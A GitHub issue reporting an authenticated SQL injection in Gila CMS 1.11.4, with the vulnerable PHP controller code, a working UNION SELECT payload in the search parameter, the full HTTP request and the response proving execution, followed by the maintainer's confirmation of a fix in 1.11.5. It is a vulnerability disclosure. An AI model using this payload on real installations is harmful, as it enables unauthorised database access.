

New issue

Jump to bottom

SQL injection in Gila CMS version 1.11.4 #50

 Closed yaoyao6688 opened this issue on Oct 13, 2019 · 1 comment

Assignees



yaoyao6688 commented on Oct 13, 2019

I installed the latest version of GilaCMS (v1.11.4). After the administrator log in to the website, the search for the sql injection vulnerability exists in the content->pages->posts page.
** Vulnerability related code**
The vulnerability related code is in lines 101 to 127 of /src/core/controllers/cm.php, the parameter \$_GET is not filtered, and the line is directly brought into the getRows function to perform data query in line 122, resulting in sql injection.

```
function list_rowsAction ()
{
    header('Content-Type: application/json');
    $table = router::get("t",1);
    $result = self::list_rows($table, $_GET, $_GET);
    echo json_encode($result, JSON_PRETTY_PRINT);
}
function list_rows($table, $filters, $args)
{
    if(isset($args['groupby'])&&$args['groupby']!=null) {
        $this->group_rowsAction();
        return;
    }
    $pnk = new gTable($table, $this->permissions);
    if(!$pnk->can('read')) return;
    $result = [];

    $fieldlist = isset($args['id']) ? 'edit' : 'list';
    $result['fields'] = $pnk->fields($fieldlist);
    $result['rows'] = [];
    $res = $pnk->getRows($filters, array_merge($args, ['select'=>$result['fields']]));
    foreach($res as $r) $result['rows'][] = array_values($r);
    $result['startIndex'] = $pnk->startIndex($args);
    $result['totalRows'] = $pnk->totalRows($filters);
    return $result;
}
```

Vulnerability certificate

Visit [http://\[address\]:\[port\]/\[app_path\]/cm/list_rows/post?page=1&search=qww"\)+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,CONCAT\(CONCAT\('123','456'\),'789'\)--+THB](http://[address]:[port]/[app_path]/cm/list_rows/post?page=1&search=qww), you can see that the returned content has the result of the sql statement execution is 123456789
Send get packet

```
GET /cm/list_rows/post?page=1&search=qww")+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT('123','456'),'789')--+THB HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: */*
Referer: http://192.168.0.103/admin/content/post
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=hmrt8mf1v09krdr1p97f0sm93; GSESSIONID=1nnplwx30uiv7aiidh8tadishur4rta71nbxsuppk7w2szo2vh
Connection: close
```

Response package

```
HTTP/1.1 200 OK
Date: Sun, 13 Oct 2019 08:03:13 GMT
Server: Apache/2.4.39 (win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a
X-Powered-By: PHP/7.3.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: application/json
Content-Length: 372
```

```
{
  "fields": [
    "id",
    "thumbnail",
    "title",
    "user_id",
    "updated",
    "categories",
    "publish"
  ],
  "rows": [
    [
      null,
      null,
      null,
      null,
      null,
      null,
      "123456789"
    ]
  ],
  "startIndex": 0,
  "totalRows": null
}
```




  **vzuburlis** self-assigned this on Oct 16, 2019

vzuburlis commented on Oct 17, 2019

Member

That's an interesting find. The parameters from `cm/` endpoints -except "limit"- are not escaped. It is changed for v1.11.5

 **vzuburlis** closed this as completed on Oct 20, 2019

Assignees

 **vzuburlis**

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

